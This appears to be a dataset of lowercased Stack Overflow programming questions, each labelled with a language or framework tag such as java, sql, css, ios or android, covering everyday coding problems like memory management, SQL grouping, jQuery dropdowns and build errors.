copying variable names <pre><code>&lt;code&gt; //header file has appropriate declarations but not included here: #import  addresscard.h   @implementation addresscard;  -(nsstring *) name {    return name; }  //recommended code: -(void) setname: (nsstring *) thename {    [name release]    name = [[nsstring alloc] initwthstring: thename]; }  //incorrect code according to kochan: -(void) setname: (nsstring *) thename {    [name release]    name = [nsstring stringwthstring: thename]; }  //rest of class implementation code snipped @end  &lt;code&gt; </code></pre>   so i saw this code on stack overflow which is not my code and i am not trying to take it or anything but i just had a quick question regarding this piece of code in objective c. in the <code>(void) setname: (nsstring *) thename</code> method why do we have to do <code>[name release]</code> and then <code>name = [[nsstring alloc] initwithstring: thename]</code>.     why can t we just simply say <code>name = thename</code>. won t that just copy <code>thename</code> variable passed as a parameter in the <code>setname</code> method into the original <code>name</code> variable     sorry if this is a bad question  but i am new to objective c and a little bit confused on memory management coming from a java background.,objective-c
html - input with type number allows alphabets in ie  in html input with type number allows alphabets in ie whereas in chrome it allows only number.        in ie how to restrict alphabets for input with type number.    thanks.,html
the left-hand side of an assignment must be a variable   i get an error saying  the left-hand side of an assignment must be a variable  where is says else (itemnumber >=15)   <pre><code>import java.util.scanner;  public class ch3asg {      public static void main(string[] args)      {         // variables             scanner input = new scanner(system.in);             int itemnumber = 0;             double shippingcost = 0;          // items purchased             system.out.println( how many items did you purchase   );             itemnumber = integer.parseint(input.nextline());          // one item purchased             if ( itemnumber == 1 )             {                 shippingcost = 2.99;             }             // 2-5 items purchased             else if ( itemnumber &gt;= 2 &amp;&amp; itemnumber &lt;= 5 );             {                 shippingcost = 2.99 + 1.99 * (itemnumber - 1);             }          // 5-15 items purchased             if ( itemnumber &gt; 5 &amp;&amp; itemnumber &lt; 15)             {                 shippingcost = 2.99 + 1.99 * (itemnumber - 1) + 1.49 * (itemnumber - 5);             }         // more than 15 items purchased             else ( itemnumber &gt;= 15 )             {                 shippingcost = 2.99 + 1.99 * (itemnumber - 1) + 1.49 * (itemnumber - 5)                         + .99 * (itemnumber - 14);             }         // display cost             system.out.printf( shipping cost is: $%.2f   shippingcost);     }  } </code></pre>,java
number of selection in collection_select  is it possibile to limit number of selection in collection_select     this is my form:   <pre><code>&lt;%= f.collection_select :player_ids  players  :id  :lastname  {}  { multiple: true } %&gt; </code></pre>   i want limit to only 2 selects.,ruby-on-rails
full join operation and groupy by operation on two tabels  table1   <pre><code>month   acct_num   product   revenue jan     9994523    veg        50.00  jan     9994523    hot dog    40.00  jan     9993644    hot dog    35.00  jan     9993644    fries      2.00  jan     9996984    veg        60.00  jan     9996427               15.00  </code></pre>   table2   <pre><code>month   acct_num   product   revenue feb     9994523    veg        50.00  feb     9994523    hot dog    40.00  feb     9993644    hot dog    35.00  feb     9993644    fries      2.00  feb     9996984    veg        60.00  feb     9996427               15.00  </code></pre>   expected output   <pre><code>acct_num    revenue_total 9993644     74.00  9994523     180.00  9996427     30.00  9996984     120.00  </code></pre>   i am trying to perform a full join on both the tables and performing a group by operation on top it. is there anything wrong in my approach or is there a better approach the below queries   <pre><code>q1 = select t1.* from table1 t1 full outer join table2 t2 on t1.acct_num = t2.acct_num  select distinct acct_num  sum(revenue) as revenue_total from q1 group by acct_num </code></pre>,sql
how do i define and pass in a file name to fopen() from command line   i have the following program that writes a user s input to a file. currently the file to be written to is predefined; however  i was wanting allow the user to define the file name from command prompt. what would be the best way to add this functionality  i am having trouble getting my head around how i would make the string entered by the user an argument in the fopen() function. should i use scanf() or create another getchar() while loop store the chars in an array and then create a variable as the argument of fopen() or something    <pre><code>#include &lt;stdio.h&gt;  int main() {     char c;     file *fp;      fp = fopen( file.txt    w );      while ((c = getchar()) != eof)     {         putc(c  fp);     }      return 0; } </code></pre>,c
asp.net :hyperlinkcolumn -  hyperlinkcolumn  is not a known element. this can occur if there is a compilation error in the web site  i am getting the following error: element  hyperlinkcolumn  is not a known element. this can occur if there is a compilation error in the web site.    within my gridview before i had:   <pre><code>    &lt;asp:boundfield datafield= proid  headerstyle-backcolor= #0066cc        headerstyle-font-size= 7pt  headerstyle-horizontalalign= center        headertext= proid  itemstyle-horizontalalign= center  /&gt; </code></pre>   i replaced that with:   <pre><code>     &lt;asp:hyperlinkcolumn datanavigateurlfield= proid         datanavigateurlformatstring= pro.aspx pro={0}         datatextfield= proid  headertext= proid  sortexpression= proid &gt;       &lt;headerstyle horizontalalign= left  /&gt;       &lt;itemstyle horizontalalign= left  /&gt;       &lt;/asp:hyperlinkcolumn&gt; </code></pre>   not sure why it is giving me this message. my goal is simply to make that column into a hyplink so that i can have the user to to the designated page.,asp.net
how to make text created with css :after element selectable   i m creating text with css :after. but i m not able to select the resulting text (e.g. for copy&amp;paste). is it possible to make it selectable    <pre><code>&lt;div&gt;foo&lt;/div&gt;  div:after{     content:     123 ;  } </code></pre>   <a href= http://jsfiddle.net/jfbc4/2/  rel= nofollow >sample</a>,css
objective c http query  hey  iam new to objective c and really dont know much about it. i have been given a query that is gonna i need to send data in to the server.query is like this <a href= http://abc.com/insertipademail.php name=name&amp;email=email  rel= nofollow noreferrer >http://abc.com/insertipademail.php name=name&amp;email=email</a> i need to enter the name and email i have constructed the string but i dont know how to send it to the server. can someone help me out please. or point me in the right direction. thanks,iphone
url not opening in web view  i am trying to open <a href= http://www.rowseatsplugin.com/development/ wpgc=3nf7qf3w3gtg  rel= nofollow >this link</a> which is redirected to another <code>url</code>  in <code>webview</code> . but it s not showing the page. code:   <pre><code>web.setwebviewclient(new webviewclient() {     public boolean shouldoverrideurlloading(webview view  string url) {         web.loadurl(url);          return true;     } }); </code></pre>   please help me.,android
can two project connect each other with multipeerconnectivity framework   i have created two ios projects. one used <code>mcnearbyserviceadvertiser</code> to advertise  and another used <code>mcnearbyservicebrowser</code> to browse.  my question is that could browser find advertiser <br> a device run a project using <code>multipeerconnectivity.framework</code>  if b device want connect with a device  b decides must run a project  right,ios
how do i validate a textbox in asp for unbalanced parentheses  i want to validate an asp textbox for unbalanced parenthesis. like i want to display an error if the user starts a curly bracket but does not end it in a textbox.    thanks,asp.net
hackers: what is your android workflow   i am new to android development and i would really appreciate some advise on how to develop android. i am currently using eclipse with android sdk installed on my macbookpro.    i am using the newest api  3.1. however i noticed that the android emulator is not very stable (it keeps crashing sometimes) and the emulator is <em>insanely</em> laggy (my macbookpro has icore5 and 4gb ram with avd ram set to 1gb plus i am using snapshot). i gave 3.0 a shot but it s still very slow especially with respect to start up time.     how many of you still develop in 2.3.3  is that the most stable version right now  are most devices still using 2.3.3     how many of you actually develop on an actual device  do most of you just suck it up to the emulator     in addition  as an avid vim user  i find eclipse to be really heavy for development. i am much more accustomed to developing on the command line. i also use git pretty heavily. i am currently using eclim but it s another dimension in it s functionalities. how many of you stray away from the eclipse ide framework      <strong>edit</strong>: ok i didn t know 3.0 was for tablets. i was just reading the intro parts on developer.android.com  which i am not particularly fond of. what is the best book then for doing android development,android
getting an error on clearsselectiononviewwillappear  i recently copied apple s master detail template to my own project  but i get an error with this line of code:   <pre><code>- (void)viewwillappear:(bool)animated { self.clearsselectiononviewwillappear = self.splitviewcontroller.iscollapsed; //error on this line it says  property  clearsselectiononviewwillappear` not found on object type  masterviewcontroller *   [super viewwillappear:animated]; } </code></pre>   it didn t get an error in apple s template. please help!    here s the <code>masterviewcontroller</code> declaration:   <pre><code>#import &lt;uikit/uikit.h&gt;  @class detailviewcontroller;   @interface masterviewcontroller : uiviewcontroller  @property (strong  nonatomic) detailviewcontroller *detailviewcontroller;  @property (strong  nonatomic) iboutlet uitableview *tableview;  @end </code></pre>,objective-c
align an unwrapped text vertically in css  i have some text in an <code>&lt;a&gt;</code> tag besides a span with a svg in it with the structure as follows   <pre><code>&lt;a&gt;    &lt;span&gt;        ...svg here...    &lt;/span&gt;    some unwrapped text here &lt;/a&gt; </code></pre>   i can t get it to align the  vertically into the <code>&lt;a&gt;</code> tag. i tried with <code>vertical-align</code>  but i should have <code>display: inline-block</code> to both of them.     i can t wrap the text in anything  can t touch the html.    <a href= https://jsfiddle.net/7mmcznkr/1/  rel= nofollow noreferrer >here is a jsfiddle with the problem</a>    how can i vertical align them,css
how to check if li.a tab is active  <pre><code>&lt;ul class= nav &gt; &lt;li class role= presentation &gt;&lt;a href= #tab-aaa  data-toggle= tab &gt;aaa &lt;/a&gt;&lt;/li&gt; &lt;li class= active  role= presentation &gt;&lt;a href= #tab-bbb  data-toggle= tab &gt;bbb &lt;/a&gt;&lt;/li&gt; &lt;li class role= presentation &gt;&lt;a href= #tab-ccc  data-toggle= tab &gt;ccc &lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   as the code above  bbb tab is active now. how to write jquery to check if ccc tab is active  then do something,jquery
two level-slide menu like facebook ios (iphone application)  how i can achieve two level slide menu.i read many articles but all the slide menu are just with one level.,ios
how do i get a list of tasks for an instance in cdevworkflow   i have created a workflow definition which has many task steps and created instance for that.  how can i get list of all task and status of each task while running the instance,c#
wrong output in calculating average program  for years  i don t do anything in c and now i can t do simple things  i was accustomed to <code>cin</code> and <code>cout</code> and now java. i was trying to make a simple program to calculate the average x amount of exams notes. the output are  random numbers  and checking to interrupt the program occurs before entering a note. why is that    <pre><code>#include &lt;stdio.h&gt;  int main(void) {     int numerodenotas;     float nota = 0.0;     float notaauxiliar = 0.0;     char continuar;     int media;      do{     printf( enter the exam grade\n );     scanf( %f   &amp;notaauxiliar);     nota += (int) notaauxiliar;     numerodenotas++;     printf( do you want to continue  enter n if you want to stop\n );     scanf( %c   &amp;continuar);     }while(continuar !=  n );      printf( %d\n\n   nota);     printf( %d\n\n   numerodenotas);      media = nota/numerodenotas;     printf( average grade: %d   media);     return 0; } </code></pre>,c
"native button style with custom borders  we like the native button style (reversal on press  outline  etc)  but want to tweak the border style.  however  when we tweak the border style (or any style)  all the native styling is lost.  how might a custom style be applied without losing all native styling   if that s not possible  can the entire native style be replicated in css  then tweaked     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;button&gt;
 button
 &lt;/button&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>button {
   border: 1px solid green;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;button&gt;
 button
 &lt;/button&gt;</code></pre>
 </div>
 </div>",css
choosing max of date from duplicates  suppose we have multiple records of the following form:    <code>    a b c  date1<br>   a b c  date 2  d e f  date3<br>   d e f  date 4 </code>    i want to only select the distinct records where the date is the largest. so if <code> date2 </code> is the largest  chose that <code> abc </code> record. similarly  if <code> date3 </code> is the largest  choose that <code> def </code> record.,sql
performselector:withobject:afterdelay not invoked when called indirectly via a block but is otherwise  i m doing a few experiments with background processing during a phone call and have found that i cannot get a performselector:withobject:afterdelay call to fire if it was invoked indirectly from within a block  but it will fire if called directly.    this code shows what i mean:   <pre><code>@implementation myappdelegate  - (void) sausages {     nslog(@ *************sausages );     [self performselector:@selector(sausages) withobject:nil afterdelay:10]; } - (void) sausages2 {     nslog(@ *************sausages 2 );     [self performselector:@selector(sausages2) withobject:nil afterdelay:10]; }  - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions { ...         [self sausages2];          myappdelegate __weak *weakself = self;         [self.callcenter setcalleventhandler:^(ctcall *call)          {         if ([call.callstate isequaltostring: ctcallstateincoming])              {                  nslog(@ incomming );                  [weakself sausages];              }          }]; </code></pre>   when i run this code and switch the app to the background then the sausages2 method gets triggered every 10 seconds (the app has the location background mode not shown in the code snippet).    when i make a phone call to the device and answer it then during the call the sausages2 method still continues to trigger every 10 seconds however the sausages method only triggers once. why is that  why isn t the sausages method continually being invoked during the call but the sausages2 method is,ios
xslt image path is not working  i have a project which is structured as shown in image. this project sends emails out when reseting passwords. i have a folder xslt with .xslt files in it. i have header  footer and style in common folder where as resetpassword.xslt right under xslt folder.    resetpassword.xslt:   <pre><code>&lt; xml version= 1.0  &gt;   &lt;xsl:include href= common/header.xslt /&gt;    &lt;xsl:output method= html /&gt;   &lt;xsl:template match= / &gt;     &lt;html&gt;       &lt;head&gt;         &lt;xsl:call-template name= style /&gt;       &lt;/head&gt;       &lt;body&gt;         &lt;table id= resetpasswordbody &gt;           &lt;tr&gt;             &lt;td&gt;               &lt;xsl:call-template name= header /&gt;  </code></pre>   as you can see i am calling the header template from with in resetpassword.xslt template. in the header template i have following:   <pre><code> &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;xsl:stylesheet version= 1.0  xmlns:xsl= http://www.w3.org/1999/xsl/transform &gt;     &lt;xsl:template name= header &gt;               &lt;img src= img\banner.jpg /&gt;           &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre>   the problem is when i run this project inside visual studio (by right click -> show in browser) the image does not appear. i am bit struggling to find out what path i can mention inside the header xslt template so that banner.jpg can appear. i have tried every possible combination.    the only path which works is the full path i.e. c:\xxxxxx\xxxxx    but the problem is when deployed on server the full path will not be a valid one.    i am confused and any help will be great.    thanks in advance.    <img src= https://i.stack.imgur.com/4owpf.png  alt= project structure >,asp.net
sorting a char**  so i m creating an indexer for a project and we have to use a char** to store the words from a file. i m trying to sort the words inside the array. heres what i ve tried so far:   <pre><code>void word::arrangewords(char **&amp;words) {  char **temp=new char*[getsize()];  temp[getsize()-1]=words[getsize()-1]; for (int i=getsize()-1;i&gt;0;i--) {     comp=strcmp(temp[i]  temp[i-1]);     if (comp&lt;0)     {         temp[i]=words[i-1];         temp[i-1]=words[i];     }     else     {         temp[i]=words[i];     } } delete [] words; words=temp; } </code></pre>   this ends up not working and i kind of understand why.  is the an easier way to sort it  thanks in advance,c++
setting struct alias to null  i was studying some old code and noticed this:       <pre><code>struct node {  ... }*root=null;   int main() { ... root=malloc(sizeof(struct node)); ... } </code></pre>   i m wondering if *root=null; can be just replaced with  root;  or if there is any special advantage to having the alias root set to null.,c
version vs distrib number of mysql  typing    <pre><code>mysql --version </code></pre>   command in linux shell i got the following:   <pre><code>mysql  ver 14.12 distrib 5.0.77  for redhat-linux-gnu (i686) using readline 5.1 </code></pre>   the number 5.0.77 obviously refers to the known version number of mysql. i m in doubt  what does 14.12 mean  is this documented/explained anywhere,mysql
need help. how to start .net programming  i have completed c  c++ and java (object oriented) in previous year. now  i want to learn .net .but when i am looking for some youtube tutorials  it shows only .net with c#. and also i want to ask how to start journey of .net . if you know any online tutorials  then it will be helpful for me.,.net
how to make dynamic dropdowns jquery without ajax  i have 3 dropdowns. depending on the first i need to show different options in the 2nd and 3rd. options are known so to avoid ajax i putted all the available options in the dropdown and gave them class names to be able to target the options. example below:    first drop down:   <pre><code>&lt;select name= language  id= language &gt; &lt;option value= 0  disabled= disabled  selected= selected &gt;select ...&lt;/option&gt; &lt;option value= da &gt;danish - da&lt;/option&gt; &lt;option value= en &gt;english - en&lt;/option&gt; &lt;/select&gt; </code></pre>   second drop down: (.queryall is used to remove all the option when changing selection  .queryda is used to show all the option for danish  .queryen is used to show all the option for english)   <pre><code>&lt;select name= status  id= status &gt; &lt;option value= 0  disabled= disabled  selected= selected &gt;select ...&lt;/option&gt; &lt;option class= queryall queryda &gt;answered&lt;/option&gt; &lt;option class= queryall queryda queryen &gt;closed&lt;/option&gt; &lt;option class= queryall queryen &gt;escalated&lt;/option&gt; &lt;/select&gt; </code></pre>   jquery:   <pre><code>&lt;script&gt; $( #language ).change(function() { $( #status .queryall ).hide(); $( #status .queryac ).show(); alert( new status options are available. ); }); &lt;/script&gt; </code></pre>   here is the question  how to pass a param  queryda  when changing language to danish     thanks in advance.,jquery
how to check android os really uses multiple cores  we all know android os supports multiple core architecture . but how to test the threads are actually  getting processed on multiple cores  its a project assignment . please suggest how to proceed.,android
angular expression in ng-repeat and ng-click  i am trying to call a function using <code>ng-click</code> which is dynamically generated by <code>ng-repeat</code> the problem is that i am not able to get the parameter value passed in <code>ng-click</code> function. my html code is   <pre><code>&lt;div class= col-md-4 col-xs-12 col-lg-4  ng-repeat= (key  value) in uploadedfiles &gt;     &lt;b&gt;value.filename is {{value.filename}}&lt;/b&gt;     &lt;img ng-if= value.filetype== jpg   ng-src= http://localhost:3000/uploads/{{value.filename}}  class= img img-responsive thumbnail uploadedfile-thumb /&gt;     &lt;img ng-if= value.filetype== pdf   ng-src= images/pdf-thumb.jpg  class= img img-responsive thumbnail uploadedfile-thumb /&gt;     &lt;a ng-href= http://localhost:3000/uploads/{{value.filename}}  target= _blank  class= uploaded-file-links &gt;view&lt;/a&gt;     &lt;a ng-href= #  ng-click= deletefile(value.filename);  class= uploaded-file-links &gt;delete&lt;/a&gt; &lt;/div&gt; </code></pre>   i am not getting the filename which is passed in <code>deletefile()</code>  bit it is working in <code>&lt;b&gt;</code> tag in 2nd line so finally this is a problem with my angular expression so how should i write it,angularjs
how to play two audio files together in ios  i am working on one of the application with sound files. in this application there is one slider implementation. on the basis of slider ratio all files will be handled to set sound volume. but with this volume effect there will be a sound combination of two different sets of files suppose there are sound set of fiel a &amp; b.    there will be a combination of 75% of a file &amp; 25% of b file.,iphone
parse html response headers iphone  i need to parse the response header information and handle the status code.i got the html response string now i need to do parsing how to do in iphone,iphone
how to disable all scrolling gestures ios  i want to implement a function whereby a lock button is pressed which locks the current state of my app and prevents all scrolling and button pressing until the unlock button is pressed. i have no idea how to go about this please give me ideas and sample code! there is a similar function in the app goodreader if anyone knows of this.    thanks!,ios
a question related to uitabelviewcell  how to set background image of uitabelviewcell  i want to set image of each cell of uitabelview kindly help in this issue aeap,iphone
can this be made easier   is there an easier way to do this  i want only households that have charge codes for at least 2 out of 6 years - (cy= current year ly = last year etc. )       <pre><code>exists (select * from ac_viewmultihouseholdchargecodeyearcode as vmh  where  aa_households.householdid = vmh.householdid and  vmh.chargecode =  dinner  and  (vmh.chargecount_cy &gt; 0 and  (vmh.chargecount_ly &gt; 0 or   vmh.chargecount_2y &gt; 0 or    vmh.chargecount_3y &gt; 0 or    vmh.chargecount_4y &gt; 0 or    vmh.chargecount_5y &gt; 0)) or  (vmh.chargecount_ly &gt; 0 and   (vmh.chargecount_cy &gt; 0 or   vmh.chargecount_2y &gt; 0 or   vmh.chargecount_3y &gt; 0 or    vmh.chargecount_4y &gt; 0 or   vmh.chargecount_5y &gt; 0)) or (vmh.chargecount_2y &gt; 0 and   (vmh.chargecount_ly &gt; 0 or   vmh.chargecount_cy &gt; 0 or    vmh.chargecount_3y &gt; 0 or   vmh.chargecount_4y &gt; 0 or   vmh.chargecount_5y &gt; 0)) or (vmh.chargecount_3y &gt; 0 and  (vmh.chargecount_ly &gt; 0 or    vmh.chargecount_2y &gt; 0 or   vmh.chargecount_cy &gt; 0 or   vmh.chargecount_4y &gt; 0 or   vmh.chargecount_5y &gt; 0)) or (vmh.chargecount_4y &gt; 0 and  (vmh.chargecount_ly &gt; 0 or   chargecount_2y &gt; 0 or   vmh.chargecount_3y &gt; 0 or   vmh.chargecount_cy &gt; 0)))  </code></pre>,sql
when dealing with my nsmutablearray  it seems like my containsobject isn t working  in the code below  i am checking to see if queso is in the grocery list.  at first it isn t  but then i add it with the addobject method.    the problem is that either way before i added it to the array and after i add it  i still get the same answer of no ( 0 ) returned.  here s my code.  can anyone tell me what i am doing wrong in my code.  it is like the second time that i call it  it is being skipped.   <pre><code>// create some grocries nsstring *salsa = [nsstring stringwithstring:@ texas texas salsa ]; nsstring *queso = [nsstring stringwithstring:@ the best queso ]; nsstring *chips = [nsstring stringwithstring:@ our chips ];  // create the mutable array nsmutablearray *grocerylist = [nsmutablearray array];  // add groceries to the list [grocerylist addobject:chips]; [grocerylist addobject:salsa];  //try out the containsobject: method for my array bool quesoisonthelist = [grocerylist containsobject:queso]; nslog(@ is queso on the list  %i   quesoisonthelist);  // forgot to put queso in the query  add it to the top of the list     [grocerylist insertobject:queso atindex:0];  // now check again after queso has been added nslog(@ now is queso on the list  %i   quesoisonthelist); </code></pre>,objective-c
$(this).parent().remove(); not working in ie  any ideas why the code below wouldn t work in ie  yet in ff and chrome it does:   <pre><code>$( .remove   document.getelementbyid( ccusers )).live( click      function () {      $(this).parent().remove();   }); </code></pre>   if i try:   <pre><code>alert($(this).parent().attr( id )); </code></pre>   i get the id alerted out in ff &amp; chrome but not ie.    any ideas what needs to be done differently,jquery
setting title on navigation bar not working  i want to set  title to my navigation bar. i m using     <pre><code>[self.navigationitem settitle:@ some title ];  </code></pre>   but  the back button title is changed not the navigation bar title.,ios
sql with two table and group and result from that table   i have two tables. i need to take away from the first table second table. stim to another table without all the rows of the first table.    <strong>table1</strong>    <img src= https://i.stack.imgur.com/9iuic.jpg  alt= enter image description here >    <strong>table2</strong>    <img src= https://i.stack.imgur.com/fd5lf.jpg  alt= enter image description here >   <pre><code>result  = table1(value1) – table2(value1) -----groupe no. 2 or no.1  </code></pre>   result  (groupe no. 2)    <strong>result</strong>     <pre><code>id  value1  groupe _______________________ 1     10        2 2     9         2 3     10        2 5     5         2 6     11        2 7     12        2 </code></pre>   i need the result of which i can write the group number and get result for that group.,sql
android exception in websocket sendtextmessage  i am facing a problem with sendtextmessage in websocket. i am trying to send a message to server after connecting to it  but still i am getting a nullpointerexception.    i am including necessary code here:   <pre><code>    final websocketconnection mconnection = new websocketconnection();     new websocketconnectionhandler().executeonexecutor(asynctask.thread_pool_executor);     try {        thread.sleep(2000);     }  catch (interruptedexception e) {        e.printstacktrace();     }    if(mconnection.isconnected()){       data joindata=new data( join  playerid+  );       try{mconnection.sendtextmessage(gson.tojson(joindata));}       catch (exception e){         e.printstacktrace();        }        log.d( senttttttt:  gson.tojson(joindata));     }     log.d( here:   after scoket ); </code></pre>   in websocketconnectionhandler i am creating the connection and printing a log message after connecting to the server.   <pre><code>      d/connecteddddd﹕ ws://192.168.0.107:8080/spring-websocket-test/game       w/system.err﹕ java.lang.nullpointerexception       w/system.err﹕ at de.tavendo.autobahn.websocketconnection.sendtextmessage(websocketconnection.java:137)       w/system.err﹕ at com.example.tic.websockettic.&lt;init&gt;(websockettic.java:90)       d/senttttttt:﹕ { action : join   playerid : 0   turn :false}       d/here:﹕ after scoket </code></pre>   i am really not able to understand why i am getting the nullpointerexception ever after checking the  <code>if(mconnection.isconnected())</code> condition. ( even  from logs it is clear that connection is established before sending the message).    can somebody tell me what is wrong with the way i am doing it and what is the correct way to  do it       <strong>edit</strong>:    the corresponding <code>de.tavendo.autobahn.websocketconnection.sendtextmessage</code> code is:   <pre><code>        protected websocketwriter mwriter;         public void sendtextmessage(string payload) {             mwriter.forward(new websocketmessage.textmessage(payload));         } </code></pre>   thank you :),android
how do you find out where your python interpreter is within python   i have a system with many versions of python. some are 32b some 64b  some 2.4 some 2.7  etc. i am working with a python script  that needs to run another python script. i want to run the 2nd script with the same version of python that the initial script was run with.    my plan is to do something like this:   <pre><code>os.system( %s script.py  % currentpython) </code></pre>   the question is: how do i define  currentpython,python
nesting immediately invoked functions javascript  i have a program which stores images and their names in an array. the names are displayed in a list  the corresponding image is displayed on click    i also want to count the clicks on the image once it is displayed. at a later point per image  right now i am just trying to count total clicks.    the code below does not display the clicks in the console  i do not get any error.     is it not possible to nest two immediately invoked functions like this    <pre><code>for (var i = 0; i &lt; cats.length; i++) {   //building the list . creating a list item and  textnode. the textnode  reads out the catnames. append the textnode to the list. append all of it to the catlist in the html     var catitem = document.createelement( li );     var textnode = document.createtextnode(cats[i].id);     catitem.appendchild(textnode);     document.getelementbyid( catlist ).appendchild(catitem);      //adding the catname to the div     var currentcat = cats[i].id;     var currentimage = cats[i].img;      catitem.addeventlistener( click   (function(currentimage_copy) {          return function() {             var clicks = 0;              var x = document.createelement( img );             x.setattribute( src   currentimage_copy);             var item = document.getelementbyid( catimage );             var y = document.getelementbyid( catimage ).childnodes[0];             item.replacechild(x  y);              x.setattribute( onclick   (function countclicks(clickscopy) {                 return function countclicks() {                     clicks++;                     console.log(clickscopy);                 };             })(clicks)); </code></pre>   here is the full code   <pre><code>&lt;!doctype html&gt; &lt;html&gt;  &lt;body&gt; &lt;title&gt;||cats||&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;   &lt;h1&gt;this is the list of cats&lt;h1&gt;  &lt;h2&gt;click the cat to see an image of the cat&lt;/h2&gt;  &lt;ul id= catlist &gt;  &lt;/ul&gt;  &lt;div id= catimage &gt; &lt;/div&gt;   &lt;div id= catname &gt;&lt;/div&gt;   &lt;div id= current &gt;&lt;/div&gt; &lt;script&gt; document.body.onload = addelement;  function addelement() {   var cats = [{         img:  cat.jpg           id:  cleo      }       {         img:  shimi.png           id:  shimi      }       {         img:  miezi.png           id:  miezi       }      {         img:  tom.jpg           id:  tom      }       {         img:  chrissie.jpg           id:  chrissie      } ];     for (var i = 0; i &lt; cats.length; i++) {      //building the list . creating a list item and  textnode. the textnode      reads out the catnames. append the textnode to the list. append all of it to the catlist in the html     var catitem = document.createelement( li );     var textnode = document.createtextnode(cats[i].id);     catitem.appendchild(textnode);     document.getelementbyid( catlist ).appendchild(catitem);      //adding the catname to the div     var currentcat = cats[i].id;     var currentimage = cats[i].img;      catitem.addeventlistener( click   (function(currentimage_copy) {          return function() {             var clicks = 0;              var x = document.createelement( img );             x.setattribute( src   currentimage_copy);             var item = document.getelementbyid( catimage );             var y = document.getelementbyid( catimage ).childnodes[0];              item.replacechild(x  y);              x.setattribute( onclick   (function countclicks(clickscopy) {                 return function countclicks() {                     clicks++;                     console.log(clickscopy);                 };             })(clicks));           };      })(currentimage));   } } &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
check validity of relational expression containing undefined variable in c  is there a function in c which evaluates the validity of a relational expression without knowing the variable involved      examples:   <pre><code>int x; (x &lt; 10 &amp;&amp; x &gt; 1)  </code></pre>   should return <code>true</code>  while an impossible expression like   <pre><code>int x; (x &gt; 10 &amp;&amp; x &lt; 1) </code></pre>   should return <code>false</code>.,c
how do i over come the undefined offset 0 notices in php  how do i over come the undefined offset 0 notices in php     i have some statements in php  which contains some arrays which are causing this notices .  but inoorder to fix this iam using empty() in php .    <pre><code>$val= array(          codes  =&gt; $this-&gt;arr1[ bac ]       lines  =&gt; $this-&gt;arr1[ array1 ][0][ race ]  // this is the statement causing undefined offset 0 );  if(!empty( $this-&gt;arr1[ array1 ])){ $val= array(          codes  =&gt; $this-&gt;arr1[ bac ]       lines  =&gt; $this-&gt;arr1[ array1 ][0][ race ]  // this is the statement causing undefined offset 0 ); } </code></pre>   would the above be recommended . but my question if i put them in if() .can the $val  be accessed  outside the if(),php
error during android platform compilation:  extra tokens at end of #ifndef directive [-werror]   this is android source code compilation.    after repeating  repo sync  over several nights  and then  make -j4  i will get the following errors on each of the different days of compilation.   (my java is version 6u45 from oracle jdk  and host machine is linux ubuntu 64-bit lts 14.04).   but doing the same thing (compilation from  repo sync ) will not result in an error in another ubuntu 14.04 lts (64-bit) and i can even execute  emulator  to start the asop_arm-eng emulator image on another machine.   something must be wrong with first machine.    googling does not reveal any similar bugs  someone please help    <pre><code>target thumb c++: content_content_common_gyp &lt;= external/chromium_org/content/common/android/common_jni_registrar.cc target thumb c++: content_content_common_gyp &lt;= external/chromium_org/content/common/android/device_telephony_info.cc target thumb c++: content_content_common_gyp &lt;= external/chromium_org/content/common/android/hash_set.cc target thumb c++: content_content_common_gyp &lt;= external/chromium_org/content/common/android/surface_texture_peer.cc target thumb c++: content_content_common_gyp &lt;= external/chromium_org/content/common/android/trace_event_binding.cc in file included from external/chromium_org/content/common/android/hash_set.cc:5:0: out/target/product/generic/obj/gyp/shared_intermediates/content/jni/hashset_jni.h:10:26: error: extra tokens at end of #ifndef directive [-werror] out/target/product/generic/obj/gyp/shared_intermediates/content/jni/hashset_jni.h:11:26: error: missing whitespace after the macro name [-werror] in file included from external/chromium_org/content/common/android/hash_set.cc:5:0: out/target/product/generic/obj/gyp/shared_intermediates/content/jni/hashset_jni.h:24:20: error: expected initializer before  &lt;  token out/target/product/generic/obj/gyp/shared_intermediates/content/jni/hashset_jni.h:26:17: error: expected initializer before  &lt;  token out/target/product/generic/obj/gyp/shared_intermediates/content/jni/hashset_jni.h:29:22: error: expected  {  before  &lt;  token out/target/product/generic/obj/gyp/shared_intermediates/content/jni/hashset_jni.h:29:22: error: expected unqualified-id before  &lt;  token external/chromium_org/content/common/android/hash_set.cc:30:1: error: expected  }  at end of input cc1plus: all warnings being treated as errors make: *** [out/target/product/generic/obj/static_libraries/content_content_common_gyp_intermediates/content/common/android/hash_set.o] error 1 make: *** waiting for unfinished jobs.... </code></pre>,android
sql where if clause issue  i have a sql/java code issue. the basic overlay is as follows: a mysql database with a table. in this table there are multiple columns. one column consists of names. an associated column is months. in the third column there is counts. so a sample table would be    <pre><code>john - january - 5 john - january - 6  mary - january - 5 alex - february- 5 john - february - 6 john - february - 4 mary - february - 3 john - march - 4 </code></pre>   the table continues to month may.     so john appears in five months  mary in 3  and alex in one. currently  my sql query somewhat looks like this.    <pre><code>    select name  sum(count)/4      from table where (category = something       and month not like  may ) group by name; </code></pre>   basically  what this query is supposed to do is just display each name with the average counts per month. hence  the sum will be divided by four (because i exclude may  so it must divide jan-april/4). however  the issue is that some names only appear in one month (or two or three).    this means for that name  the sum of the counts would only be divided by that specific number  to get the average counts over the months. how would i go about this  i feel as if this will require some if statement in a where clause. kind of like where if the count of the distinct (because months may repeat) is a certain number  then divide the sum(count) by that number for each name     also  i think it may not be a where if clause issue. i ve read some forums where possibly some use of case could be utilized,mysql
